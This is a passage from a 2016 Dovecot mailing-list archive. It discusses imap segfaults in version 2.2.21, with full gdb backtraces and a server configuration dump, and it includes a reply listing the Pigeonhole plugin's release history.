<56A15643.2030506@heinlein-support.de> <56A20633.3050103@heinlein-support.de> Message-ID: <56A229A0.4080306@heinlein-support.de> Am 22.01.2016 um 12:46 schrieb Timo Sirainen: > I think this was fixed by https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be But our installed release ~2.2.21-1~auto+66 has been build on January, 21th 13:58... So it should be included in the actual code... Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From tss at iki.fi Fri Jan 22 14:20:26 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 22 Jan 2016 16:20:26 +0200 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A229A0.4080306@heinlein-support.de> References: <56A15643.2030506@heinlein-support.de> <56A20633.3050103@heinlein-support.de> <56A229A0.4080306@heinlein-support.de> Message-ID: > On 22 Jan 2016, at 15:07, Peer Heinlein wrote: > > Am 22.01.2016 um 12:46 schrieb Timo Sirainen: > > >> I think this was fixed by https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be > > But our installed release ~2.2.21-1~auto+66 has been build on January, > 21th 13:58... So it should be included in the actual code... Oh, right. Then I don't know how it could still happen. I think the easiest way to solve it would be if I can debug the core dump. That would require sending it along with some libraries. http://dovecot.org/tools/core-tar.sh can be used to generate a tarball with all the needed things. From rblayzor.bulk at inoc.net Fri Jan 22 15:07:11 2016 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Fri, 22 Jan 2016 10:07:11 -0500 Subject: 2.2.21 imap crash - autoexpunge related? Message-ID: <536AA9DC-DCE6-40E2-A0DB-78D0CCFBF832@inoc.net> dovecot --version 2.2.21 (5345f22) FreeBSD 10.2-RELEASE-p10 FreeBSD 10.2-RELEASE-p10 #0 r294322M: having repeated core dumps on imap process? autoexpunge issue? GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "amd64-marcel-freebsd"... Core was generated by `imap'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot-storage.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...done. Loaded symbols for /lib/libc.so.7 Reading symbols from /usr/local/lib/dovecot/lib10_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib10_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib11_imap_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib11_imap_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib20_zlib_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib20_zlib_plugin.so Reading symbols from /lib/libz.so.6...done. Loaded symbols for /lib/libz.so.6 Reading symbols from /usr/lib/libbz2.so.4...done. Loaded symbols for /usr/lib/libbz2.so.4 Reading symbols from /usr/lib/liblzma.so.5...done. Loaded symbols for /usr/lib/liblzma.so.5 Reading symbols from /libexec/ld-elf.so.1...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 198 ostream.c: No such file or directory. in ostream.c (gdb) bt full #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 _stream = (const struct ostream_private *) 0xd #1 0x0000000000435ac9 in notify_ok (mailbox=0x118e1c40, text=0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds", context=0x11845840) at mail-storage-callbacks.c:13 client = (struct client *) 0x11845840 #2 0x000000001096f4e4 in index_storage_lock_notify (box=0x118e1c40, notify_type=MAILBOX_LOCK_NOTIFY_MAILBOX_OVERRIDE, secs_left=0) at index-storage.c:137 ibox = (struct index_mailbox_context *) 0x118e20b0 storage = (struct mail_storage *) 0x11873640 str = 0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds" now = 1453427588 #3 0x00000000108fbedd in dotlock_callback (secs_left=0, stale=true, context=0x118e1c40) at maildir-uidlist.c:250 box = (struct mailbox *) 0x118e1c40 #4 0x0000000010ccba7c in dotlock_create (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK, write_pid=true, lock_path_r=0x7fffffffe4e0) at file-dotlock.c:549 secs_left = 0 set = (const struct dotlock_settings *) 0x118a8140 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" lock_info = {set = 0x118a8140, path = 0x118b59c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock", temp_path = 0x0, fd = -1, lock_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, file_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, last_pid_check = 0, last_change = 0, wait_usecs = 0, have_pid = 0, pid_read = 0, use_io_notify = 1, lock_stated = 1} st = {st_dev = 1, st_ino = 32767, st_mode = 0, st_nlink = 0, st_uid = 0, st_gid = 0, st_rdev = 0, st_atim = {tv_sec = 140737488348216, tv_nsec = 140737488347840}, st_mtim = {tv_sec = 12884901898, tv_nsec = 140737488348320}, st_ctim = {tv_sec = 167, tv_nsec = 0}, st_size = 275162112, st_blocks = 140737488348192, st_blksize = 275046283, st_flags = 0, st_gen = 4294960312, st_lspare = 32767, st_birthtim = {tv_sec = 140737488348216, tv_nsec = 277283844}} stale_notify_threshold = 60 change_secs = 1453427588 wait_left = 2841539708 now = 1453427588 max_wait_time = 0 last_notify = 1453427588 prev_last_change = 0 prev_wait_update = 0 tmp_path = (string_t *) 0x11806270 ret = 0 do_wait = false #5 0x0000000010ccaf87 in file_dotlock_create_real (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK) at file-dotlock.c:629 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" st = {st_dev = 284562744, st_ino = 0, st_mode = 58544, st_nlink = 65535, st_uid = 32767, st_gid = 282105456, st_rdev = 0, st_atim = {tv_sec = 140737488290687, tv_nsec = 50}, st_mtim = {tv_sec = 294345152, tv_nsec = 293746112}, st_ctim = {tv_sec = 284562744, tv_nsec = 294345152}, st_size = 140737488348368, st_blocks = 281883903, st_blksize = 96, st_flags = 0, st_gen = 293746112, st_lspare = 0, st_birthtim = {tv_sec = 140737488348416, tv_nsec = 281819373}} fd = 0 ret = 50 #6 0x0000000010ccae76 in file_dotlock_create (set=0x118dd138, path=0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", flags=DOTLOCK_CREATE_FLAG_NONBLOCK, dotlock_r=0x118dd168) at file-dotlock.c:673 _data_stack_cur_id = 5 dotlock = (struct dotlock *) 0x118a8140 ret = 0 #7 0x00000000108fb891 in maildir_uidlist_lock_timeout (uidlist=0x118dd100, nonblock=true, refresh=true, refresh_when_locked=true) at maildir-uidlist.c:160 box = (struct mailbox *) 0x118e1c40 perm = (const struct mailbox_permissions *) 0x118e1e10 path = 0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist" old_mask = 63 dotlock_flags = DOTLOCK_CREATE_FLAG_NONBLOCK i = 0 ---Type to continue, or q to quit--- ret = -5216 #8 0x00000000108fe066 in maildir_uidlist_sync_lock (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, locked_r=0x7fffffffe617) at maildir-uidlist.c:1608 nonblock = true refresh = true ret = -5184 #9 0x00000000108fdd86 in maildir_uidlist_sync_init (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, sync_ctx_r=0x118061b8) at maildir-uidlist.c:1638 ctx = (struct maildir_uidlist_sync_ctx *) 0x118061b8 locked = false ret = 4 #10 0x00000000108fa021 in maildir_sync_context (ctx=0x11806188, forced=false, find_uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:871 sync_flags = MAILDIR_UIDLIST_SYNC_TRYLOCK flags = 4294960816 new_changed = true cur_changed = true lock_failure = false fname = 0x7fffffffe5a0 "?????\177" why = 36 ret = 1 #11 0x00000000108f9400 in maildir_sync_run (mbox=0x118e1c40, flags=68, force_resync=false, uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:1023 _data_stack_cur_id = 4 ctx = (struct maildir_sync_context *) 0x11806188 retry = false lost_files = false ret = 294526016 #12 0x00000000108f96b0 in maildir_storage_sync_init (box=0x118e1c40, flags=68) at maildir-sync.c:1096 mbox = (struct maildir_mailbox *) 0x118e1c40 lost_files = false force_resync = false ret = 0 #13 0x00000000108b75b9 in mailbox_sync_init (box=0x118e1c40, flags=68) at mail-storage.c:1657 _data_stack_cur_id = 3 ctx = (struct mailbox_sync_context *) 0xc #14 0x00000000108b6891 in mailbox_sync (box=0x118e1c40, flags=68) at mail-storage.c:1705 ctx = (struct mailbox_sync_context *) 0x206 status = {sync_delayed_expunges = 1} #15 0x00000000108a6e65 in mailbox_autoexpunge (box=0x118e1c40, expire_time=1450835588) at mail-autoexpunge.c:29 t = (struct mailbox_transaction_context *) 0x11873640 mail = (struct mail *) 0x118e1c40 metadata = {guid = '\0' , virtual_size = 0, physical_size = 0, first_save_date = 1450835021, cache_fields = 0x0, precache_fields = 0, backend_ns_prefix = 0x0, backend_ns_type = 0} hdr = (const struct mail_index_header *) 0x118b7f10 seq = 0 timestamp = 140737488349168 ret = 0 #16 0x00000000108a6d54 in mail_namespace_autoexpunge (ns=0x118a6020) at mail-autoexpunge.c:76 box_set__foreach_end = (const void *) 0x118b73f0 box_set = (struct mailbox_settings * const *) 0x118b73d8 box = (struct mailbox *) 0x118e1c40 ---Type to continue, or q to quit--- expire_time = 1450835588 #17 0x00000000108a6c54 in mail_user_autoexpunge (user=0x118b6040) at mail-autoexpunge.c:91 ns = (struct mail_namespace *) 0x118a6020 #18 0x00000000108c1b62 in mail_user_unref (_user=0x118458d0) at mail-user.c:167 user = (struct mail_user *) 0x118b6040 #19 0x00000000004216b4 in client_default_destroy (client=0x11845840, reason=0x0) at imap-client.c:390 cmd = (struct client_command_context *) 0x435c47 #20 0x000000000041f53d in client_destroy (client=0x11845840, reason=0x0) at imap-client.c:263 No locals. #21 0x000000000041eccb in client_input (client=0x11845840) at imap-client.c:1121 cmd = (struct client_command_context *) 0x2118401a0 output = (struct ostream *) 0x0 bytes = 11 #22 0x0000000010ce738f in io_loop_call_io (io=0x1187c240) at ioloop.c:559 ioloop = (struct ioloop *) 0x11821080 t_id = 2 #23 0x0000000010cea343 in io_loop_handler_run_internal (ioloop=0x11821080) at ioloop-kqueue.c:151 ctx = (struct ioloop_handler_context *) 0x118190a0 events = (struct kevent *) 0x1187d000 event = (const struct kevent *) 0x1187d000 tv = {tv_sec = 1799, tv_usec = 999920} ts = {tv_sec = 1799, tv_nsec = 999920000} io = (struct io_file *) 0x1187c240 events_count = 5 ret = 1 i = 0 #24 0x0000000010ce791e in io_loop_handler_run (ioloop=0x11821080) at ioloop.c:607 No locals. #25 0x0000000010ce773f in io_loop_run (ioloop=0x11821080) at ioloop.c:583 No locals. #26 0x0000000010c41aab in master_service_run (service=0x1181b140, callback=0x436ab0 ) at master-service.c:640 No locals. #27 0x00000000004363c3 in main (argc=2, argv=0x7fffffffeba8) at main.c:442 set_roots = {0x441248, 0x0} login_set = {auth_socket_path = 0x11806040 "x`\200\021", postlogin_socket_path = 0x11806078 "", postlogin_timeout_secs = 60, callback = 0x436760 , failure_callback = 0x436a20 , request_auth_token = 1} service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT username = 0x0 c = -1 (gdb) For comparison crash on another server, similar: GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "amd64-marcel-freebsd"... Core was generated by `imap'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot-storage.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...done. Loaded symbols for /lib/libc.so.7 Reading symbols from /usr/local/lib/dovecot/lib10_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib10_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib11_imap_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib11_imap_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib20_zlib_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib20_zlib_plugin.so Reading symbols from /lib/libz.so.6...done. Loaded symbols for /lib/libz.so.6 Reading symbols from /usr/lib/libbz2.so.4...done. Loaded symbols for /usr/lib/libbz2.so.4 Reading symbols from /usr/lib/liblzma.so.5...done. Loaded symbols for /usr/lib/liblzma.so.5 Reading symbols from /libexec/ld-elf.so.1...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 198 ostream.c: No such file or directory. in ostream.c (gdb) bt full #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 _stream = (const struct ostream_private *) 0xd #1 0x0000000000435ac9 in notify_ok (mailbox=0x118e1c40, text=0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds", context=0x11845840) at mail-storage-callbacks.c:13 client = (struct client *) 0x11845840 #2 0x000000001096f4e4 in index_storage_lock_notify (box=0x118e1c40, notify_type=MAILBOX_LOCK_NOTIFY_MAILBOX_OVERRIDE, secs_left=0) at index-storage.c:137 ibox = (struct index_mailbox_context *) 0x118e20b0 storage = (struct mail_storage *) 0x11873640 str = 0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds" now = 1453448110 #3 0x00000000108fbedd in dotlock_callback (secs_left=0, stale=true, context=0x118e1c40) at maildir-uidlist.c:250 box = (struct mailbox *) 0x118e1c40 #4 0x0000000010ccba7c in dotlock_create (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK, write_pid=true, lock_path_r=0x7fffffffe4e0) at file-dotlock.c:549 secs_left = 0 set = (const struct dotlock_settings *) 0x118a8140 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" lock_info = {set = 0x118a8140, path = 0x118b59c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock", temp_path = 0x0, fd = -1, lock_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, file_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, last_pid_check = 0, last_change = 0, wait_usecs = 0, have_pid = 0, pid_read = 0, use_io_notify = 1, lock_stated = 1} st = {st_dev = 1, st_ino = 32767, st_mode = 0, st_nlink = 0, st_uid = 0, st_gid = 0, st_rdev = 0, st_atim = {tv_sec = 140737488348216, tv_nsec = 140737488347840}, st_mtim = {tv_sec = 12884901898, tv_nsec = 140737488348320}, st_ctim = {tv_sec = 167, tv_nsec = 0}, st_size = 275162112, st_blocks = 140737488348192, st_blksize = 275046283, st_flags = 0, st_gen = 4294960312, st_lspare = 32767, st_birthtim = {tv_sec = 140737488348216, tv_nsec = 277283844}} stale_notify_threshold = 60 change_secs = 1453448110 wait_left = 2841519186 now = 1453448110 max_wait_time = 0 last_notify = 1453448110 prev_last_change = 0 prev_wait_update = 0 tmp_path = (string_t *) 0x11806270 ret = 0 do_wait = false #5 0x0000000010ccaf87 in file_dotlock_create_real (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK) at file-dotlock.c:629 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" st = {st_dev = 284562744, st_ino = 0, st_mode = 58544, st_nlink = 65535, st_uid = 32767, st_gid = 282105456, st_rdev = 0, st_atim = {tv_sec = 140737488290687, tv_nsec = 50}, st_mtim = {tv_sec = 294345152, tv_nsec = 293746112}, st_ctim = {tv_sec = 284562744, tv_nsec = 294345152}, st_size = 140737488348368, st_blocks = 281883903, st_blksize = 96, st_flags = 0, st_gen = 293746112, st_lspare = 0, st_birthtim = {tv_sec = 140737488348416, tv_nsec = 281819373}} fd = 0 ret = 50 #6 0x0000000010ccae76 in file_dotlock_create (set=0x118dd138, path=0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", flags=DOTLOCK_CREATE_FLAG_NONBLOCK, dotlock_r=0x118dd168) at file-dotlock.c:673 _data_stack_cur_id = 5 dotlock = (struct dotlock *) 0x118a8140 ret = 0 #7 0x00000000108fb891 in maildir_uidlist_lock_timeout (uidlist=0x118dd100, nonblock=true, refresh=true, refresh_when_locked=true) at maildir-uidlist.c:160 box = (struct mailbox *) 0x118e1c40 perm = (const struct mailbox_permissions *) 0x118e1e10 path = 0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist" old_mask = 63 dotlock_flags = DOTLOCK_CREATE_FLAG_NONBLOCK i = 0 ---Type to continue, or q to quit--- ret = -5216 #8 0x00000000108fe066 in maildir_uidlist_sync_lock (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, locked_r=0x7fffffffe617) at maildir-uidlist.c:1608 nonblock = true refresh = true ret = -5184 #9 0x00000000108fdd86 in maildir_uidlist_sync_init (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, sync_ctx_r=0x118061b8) at maildir-uidlist.c:1638 ctx = (struct maildir_uidlist_sync_ctx *) 0x118061b8 locked = false ret = 4 #10 0x00000000108fa021 in maildir_sync_context (ctx=0x11806188, forced=false, find_uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:871 sync_flags = MAILDIR_UIDLIST_SYNC_TRYLOCK flags = 4294960816 new_changed = true cur_changed = true lock_failure = false fname = 0x7fffffffe5a0 "?????\177" why = 36 ret = 1 #11 0x00000000108f9400 in maildir_sync_run (mbox=0x118e1c40, flags=68, force_resync=false, uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:1023 _data_stack_cur_id = 4 ctx = (struct maildir_sync_context *) 0x11806188 retry = false lost_files = false ret = 294526016 #12 0x00000000108f96b0 in maildir_storage_sync_init (box=0x118e1c40, flags=68) at maildir-sync.c:1096 mbox = (struct maildir_mailbox *) 0x118e1c40 lost_files = false force_resync = false ret = 0 #13 0x00000000108b75b9 in mailbox_sync_init (box=0x118e1c40, flags=68) at mail-storage.c:1657 _data_stack_cur_id = 3 ctx = (struct mailbox_sync_context *) 0xc #14 0x00000000108b6891 in mailbox_sync (box=0x118e1c40, flags=68) at mail-storage.c:1705 ctx = (struct mailbox_sync_context *) 0x206 status = {sync_delayed_expunges = 1} #15 0x00000000108a6e65 in mailbox_autoexpunge (box=0x118e1c40, expire_time=1450856110) at mail-autoexpunge.c:29 t = (struct mailbox_transaction_context *) 0x11873640 mail = (struct mail *) 0x118e1c40 metadata = {guid = '\0' , virtual_size = 0, physical_size = 0, first_save_date = 1450855115, cache_fields = 0x0, precache_fields = 0, backend_ns_prefix = 0x0, backend_ns_type = 0} hdr = (const struct mail_index_header *) 0x118b7f10 seq = 0 timestamp = 140737488349168 ret = 0 #16 0x00000000108a6d54 in mail_namespace_autoexpunge (ns=0x118a6020) at mail-autoexpunge.c:76 box_set__foreach_end = (const void *) 0x118b73f0 box_set = (struct mailbox_settings * const *) 0x118b73d8 box = (struct mailbox *) 0x118e1c40 ---Type to continue, or q to quit--- expire_time = 1450856110 #17 0x00000000108a6c54 in mail_user_autoexpunge (user=0x118b6040) at mail-autoexpunge.c:91 ns = (struct mail_namespace *) 0x118a6020 #18 0x00000000108c1b62 in mail_user_unref (_user=0x118458d0) at mail-user.c:167 user = (struct mail_user *) 0x118b6040 #19 0x00000000004216b4 in client_default_destroy (client=0x11845840, reason=0x0) at imap-client.c:390 cmd = (struct client_command_context *) 0x435c47 #20 0x000000000041f53d in client_destroy (client=0x11845840, reason=0x0) at imap-client.c:263 No locals. #21 0x000000000041eccb in client_input (client=0x11845840) at imap-client.c:1121 cmd = (struct client_command_context *) 0x2118401a0 output = (struct ostream *) 0x0 bytes = 11 #22 0x0000000010ce738f in io_loop_call_io (io=0x1187c240) at ioloop.c:559 ioloop = (struct ioloop *) 0x11821080 t_id = 2 #23 0x0000000010cea343 in io_loop_handler_run_internal (ioloop=0x11821080) at ioloop-kqueue.c:151 ctx = (struct ioloop_handler_context *) 0x118190a0 events = (struct kevent *) 0x1187d000 event = (const struct kevent *) 0x1187d000 tv = {tv_sec = 1799, tv_usec = 999858} ts = {tv_sec = 1799, tv_nsec = 999858000} io = (struct io_file *) 0x1187c240 events_count = 5 ret = 1 i = 0 #24 0x0000000010ce791e in io_loop_handler_run (ioloop=0x11821080) at ioloop.c:607 No locals. #25 0x0000000010ce773f in io_loop_run (ioloop=0x11821080) at ioloop.c:583 No locals. #26 0x0000000010c41aab in master_service_run (service=0x1181b140, callback=0x436ab0 ) at master-service.c:640 No locals. #27 0x00000000004363c3 in main (argc=2, argv=0x7fffffffeba8) at main.c:442 set_roots = {0x441248, 0x0} login_set = {auth_socket_path = 0x11806040 "x`\200\021", postlogin_socket_path = 0x11806078 "", postlogin_timeout_secs = 60, callback = 0x436760 , failure_callback = 0x436a20 , request_auth_token = 1} service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT username = 0x0 c = -1 Current language: auto; currently minimal dovecot -n # 2.2.21 (5345f22): /usr/local/etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (6ddf62b87f60+) # OS: FreeBSD 10.2-RELEASE-p10 amd64 doveconf: Warning: Dovecot was last started using /etc/dovecot/dovecot.conf, but this config is /usr/local/etc/dovecot/dovecot.conf auth_cache_size = 10 M auth_cache_ttl = 5 mins auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes auth_worker_max_count = 10 base_dir = /var/run/dovecot/ default_client_limit = 2000 default_process_limit = 200 disable_plaintext_auth = no first_valid_uid = 25 imap_idle_notify_interval = 4 mins log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Ready to serve. mail_fsync = always mail_location = maildir:~/Maildir mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = zlib quota mail_temp_dir = /var/tmp mailbox_list_index = yes maildir_very_dirty_syncs = yes managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body environment mailbox date index ihave duplicate mime foreverypart mbox_write_locks = fcntl mmap_disable = yes namespace inbox { inbox = yes location = mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe autoexpunge = 30 days special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe autoexpunge = 2 weeks special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { quota = maildir:User quota quota_exceeded_message = Quota exceeded (Mailbox is full) quota_rule = *:storage=1G quota_rule2 = Trash:ignore sieve = ~/.dovecot.sieve sieve_default = /etc/dovecot/sieve/global/JunkFolder.sieve sieve_dir = ~/.sieve sieve_extensions = -enotify sieve_global_dir = /etc/dovecot/sieve/global/ zlib_save = xz zlib_save_level = 6 } pop3_fast_size_lookups = yes pop3_save_uidl = yes protocols = imap pop3 lmtp sieve rejection_reason = Your message to <%t> was rejected:%n%n %r%n rejection_subject = [BOUNCE] %s service imap-login { inet_listener imap { port = 143 } process_min_avail = 4 service_count = 100 } service imap { executable = imap last-login } service last-login { user = mailnull } service lmtp { process_min_avail = 4 unix_listener lmtp { mode = 0666 } user = mailnull } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 } service managesieve { process_limit = 100 } service pop3-login { inet_listener pop3 { port = 110 } process_min_avail = 4 service_count = 100 } service pop3 { executable = pop3 last-login } ssl = no ssl_cipher_list = ALL:!SSLv2:!LOW:!ADH:!NULL:!DES:@STRENGTH ssl_protocols = !SSLv2 !SSLv3 submission_host = localhost:25 userdb { driver = prefetch } userdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } protocol lmtp { mail_plugins = zlib quota sieve } protocol lda { mail_plugins = zlib quota } protocol imap { mail_max_userip_connections = 8 mail_plugins = zlib quota imap_quota } protocol pop3 { mail_max_userip_connections = 2 mail_plugins = zlib quota } protocol sieve { mail_max_userip_connections = 3 managesieve_implementation_string = Dovecot managesieve_max_line_length = 65536 } From stephan at rename-it.nl Fri Jan 22 15:09:32 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Fri, 22 Jan 2016 16:09:32 +0100 Subject: how do I get the version of the pigeonhole-sieve plugin In-Reply-To: <20160122115300.GU6132@jumper.schlittermann.de> References: <20160122115300.GU6132@jumper.schlittermann.de> Message-ID: <56A2462C.4050302@rename-it.nl> Op 1/22/2016 om 12:53 PM schreef Heiko Schlittermann: > Hello, > > as may parts of the dovecot configuration docs refer to sieve and it's > specific versions, like > > NOTE: Pigeonhole versions before v0.3.1 do not support the lo > > ? how do I get the Pigeonhole version my local dovecot uses? > The package version number of the ubuntu package dovecot-sieve isn't telling me > anything here, because it's bound to the dovecot version number. Pigeonhole releases are not always bound to a specific Dovecot release (nearby versions usually also work). Release announcements contain the Dovecot version they were released with. Pigeonhole version numbers alone do not provide this information though. Newer Pigeonhole releases add a version line to the dovecot -n output and they log the version at startup when mail_debug is enabled. Version history is as follows: dovecot-2.2-pigeonhole$ git log --grep="^Released" --oneline 9d7b172 Released v0.4.11 for Dovecot v2.2.21. 439ad92 Released v0.4.11.rc1 for Dovecot v2.2.21. fa008c0 Released v0.4.10 for Dovecot v2.2.21. 543848b Released v0.4.10.rc2 for Dovecot v2.2.20. c3af27f Released v0.4.10.rc1 for Dovecot v2.2.20.rc1. cef2176 Released v0.4.9 for Dovecot v2.2.19. df7e58f Released v0.4.9.rc1 for Dovecot v2.2.19.rc1. f95a87c Released v0.4.8 for Dovecot v2.2.18. 6f5be00 Released v0.4.8.rc3 for Dovecot v2.2.17. 42fe82a Released v0.4.8.rc2 for Dovecot v2.2.17.rc1. c6c9320 Released v0.4.8.rc1 for Dovecot v2.2.17.rc1. 1052e9e Released v0.4.7 for Dovecot v2.2.16. 3103de6 Released v0.4.7.rc3 for Dovecot v2.2.16. 5acb35f Released v0.4.7.rc2 for Dovecot v2.2.16. b63e87a Released v0.4.7.rc1 for Dovecot v2.2.16.rc1. a06cc4b Released v0.4.6 for Dovecot v2.2.15. 890ae8e Released v0.4.5 for Dovecot v2.2.15. cc57bb2 Released v0.4.4 for Dovecot v2.2.15. 84dde15 Released v0.4.3 for Dovecot v2.2.13. 1d85222 Released v0.3.6 for Dovecot v2.1.17. a080843 Released v0.4.2 for Dovecot v2.2.6. 3ae0c2b Released v0.4.1 for Dovecot v2.2.4. 9791b4a Released v0.4.0 for Dovecot v2.2.1. 46755a8 Released v0.3.5 for Dovecot v2.1.16. 173e9dd Released v0.3.4 for Dovecot v2.1.16. 4ad40fc Released v0.3.3 for Dovecot v2.1.10. 0102b7f Released v0.3.2 for Dovecot v2.1.9. 28ac609 Released v0.3.1 for Dovecot v2.1.6. eb0b1b2 Released v0.3.0 for Dovecot v2.1.0. 335451a Released v0.2.5 for Dovecot v2.0.16. ba82a8f Released v0.2.4 for Dovecot v2.0.14. 1ef3f05 Released v0.2.3 for Dovecot v2.0.12. c70867f Released v0.2.2 for Dovecot v2.0.8. 5d3a336 Released v0.2.1 for Dovecot v2.0.4. 7202ebb Released v0.2.0 for Dovecot v2.0.2. 798f218 Released v0.1.5 for Dovecot v1.2.rc3. 1dd42d5 Released v0.1.4 for Dovecot v1.2.beta3. d6e7b70 Released v0.1.3 for Dovecot v1.2.beta1. cf2ad5b Released v0.1.2 for Dovecot v1.2.alpha4. bd9e1b2 Released v0.1.1 for Dovecot v1.2.alpha4. f7270d1 Released v0.1.0 for Dovecot v1.2.alpha3. Regards, Stephan. From rs at sys4.de Fri Jan 22 16:35:08 2016 From: rs at sys4.de (Robert Schetterer) Date: Fri, 22 Jan 2016 17:35:08 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A1F0F8.5090701@heinlein-support.de> References: <56A15643.2030506@heinlein-support.de> <56A159C5.8010300@sys4.de> <56A1F0F8.5090701@heinlein-support.de> Message-ID: <56A25A3C.2070500@sys4.de> Am 22.01.2016 um 10:06 schrieb Peer Heinlein: > Am 21.01.2016 um 23:20 schrieb Robert Schetterer: > > >> just recompiled the same on ubuntu 14.04 >> running tests no bugs yet > > Yes, we also have this version running on other systems without segfaults. > >> dovecot-core:amd64 2:2.2.21-1~auto+66 > > (and we also had segfaults with older 